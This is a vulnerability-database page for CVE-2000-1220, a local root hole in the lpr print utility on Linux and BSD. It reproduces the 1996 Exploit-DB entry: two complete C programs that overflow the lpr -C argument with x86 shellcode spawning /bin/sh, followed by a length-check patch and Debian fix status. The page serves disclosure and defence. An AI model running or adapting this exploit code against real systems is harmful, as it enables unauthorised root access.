VIR Vulnerability Intelligence Relay

CVE-2000-1220

unknown
Published — · Modified —
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
1.0

Description

The line printer daemon (lpd) in the lpr package in multiple Linux operating systems allows local users to gain root privileges by causing sendmail to execute with arbitrary command line arguments, as demonstrated using the -C option to specify a configuration file.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-325 local linux verified text · 3 KB
Vadim Kolontsov · 1996-10-25

BSD / Linux - 'lpr' Local Privilege Escalation

text exploit Source: Exploit-DB 
-------------------------------------- linux_lpr_exploit.c ----------
#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
------------------------------------------- bsd_lpr_exploit.c ------
#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------------------------------------------------------------------------

  Here is a little patch -- see file lpr.c, function card():
("!!" marks added lines)

--------------------------------------------------------------------------
static void card(c, p2)
        register int c;
        register char *p2;
{
        char buf[BUFSIZ];
        register char *p1 = buf;
        register int len = 2;


        if (strlen(p2) > BUFSIZ-2)                     /* !! */
        {                                              /* !! */
                printf("No, thanks...\n");             /* !! */
                exit(1);                               /* !! */
        }
        *p1++ = c;
        while ((c = *p2++) != '\0') {
                *p1++ = (c == '\n') ? ' ' : c;
                len++;
        }
        *p1++ = '\n';
        write(tfd, buf, len);
}


// milw0rm.com [1996-10-25]

OS impact
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1:0.48-1
sid Fixed 1:0.48-1
forky Fixed 1:0.48-1
bullseye Fixed 1:0.48-1
bookworm Fixed 1:0.48-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.